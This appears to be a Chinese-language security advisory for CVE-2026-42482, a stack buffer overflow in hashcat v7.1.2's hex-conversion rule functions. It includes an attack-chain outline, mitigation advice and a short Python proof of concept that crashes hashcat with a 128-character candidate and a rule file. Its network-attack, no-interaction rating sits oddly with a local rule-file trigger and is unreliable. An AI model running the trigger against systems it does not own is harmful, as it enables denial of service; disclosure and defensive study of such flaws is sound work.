IPBUF安全漏洞报告
English
CVE-2026-42482 CVSS 9.8 严重

CVE-2026-42482 Hashcat栈缓冲区溢出漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-42482
漏洞类型
栈缓冲区溢出
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
hashcat

相关标签

栈溢出缓冲区溢出hashcatRCEDoSCVE-2026-42482

漏洞概述

hashcat v7.1.2存在严重的栈缓冲区溢出漏洞。由于未能正确处理十六进制转换时的内存扩展,攻击者可利用特制规则文件或通过-j/-k选项传入长密码候选项触发溢出,导致服务拒绝或任意代码执行。

技术细节

该漏洞具体存在于hashcat v7.1.2源码src/rp_cpu.c文件的mangle_to_hex_lower()及mangle_to_hex_upper()函数中。其根本原因在于边界检查逻辑存在缺陷,未能正确计算单个字节转换为十六进制字符串时所需的2倍内存空间。当攻击者利用包含128个或更多字符的密码候选项,并通过-j或-k规则选项进行处理,或者加载精心构造的规则文件时,会触发栈缓冲区溢出。由于这是基于栈的溢出,攻击者可能覆盖返回地址,从而控制程序执行流,实现拒绝服务攻击或在特定条件下执行任意代码。

攻击链分析

STEP 1
侦察
确定目标系统正在运行存在漏洞的hashcat v7.1.2版本。
STEP 2
武器化
构造包含128个或更多字符的长密码候选项,并准备触发十六进制转换的规则文件(如包含'x'的规则)。
STEP 3
交付
将恶意规则文件和长密码文件提供给目标hashcat实例,或通过命令行参数-j/-k传入。
STEP 4
利用
hashcat处理这些输入时,mangle_to_hex函数因边界检查失败导致栈缓冲区溢出。
STEP 5
影响
成功触发漏洞导致应用程序崩溃(DoS)或可能执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import subprocess import os # Create a dummy hash file (MD5 example) hash_content = "5d41402abc4b2a76b9719d911017c592:test_password" with open("hashes.txt", "w") as f: f.write(hash_content) # Create a long password candidate (128+ chars) to trigger the overflow # The vulnerability states 128 chars is the threshold long_password = "A" * 128 with open("passwords.txt", "w") as f: f.write(long_password) # Create a rule that triggers mangle_to_hex_lower/upper # Rule 'x' converts to hex, which triggers the vulnerable function with open("rule.rule", "w") as f: f.write("x") # Command to trigger the vulnerability # Assuming hashcat is installed and in PATH # Use -r to load the rule file print("Attempting to trigger the buffer overflow...") try: # Note: This may crash the application cmd = ["hashcat", "-a", "0", "-r", "rule.rule", "hashes.txt", "passwords.txt"] subprocess.run(cmd, check=False) except FileNotFoundError: print("hashcat executable not found.") # Cleanup os.remove("hashes.txt") os.remove("passwords.txt") os.remove("rule.rule")

影响范围

hashcat v7.1.2

防御指南

临时缓解措施
建议立即将hashcat升级到最新版本以修复此漏洞。在无法升级的情况下,应严格审查并限制使用的规则文件,避免使用涉及十六进制转换(如'x'规则)的规则处理超长密码,并限制输入长度以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表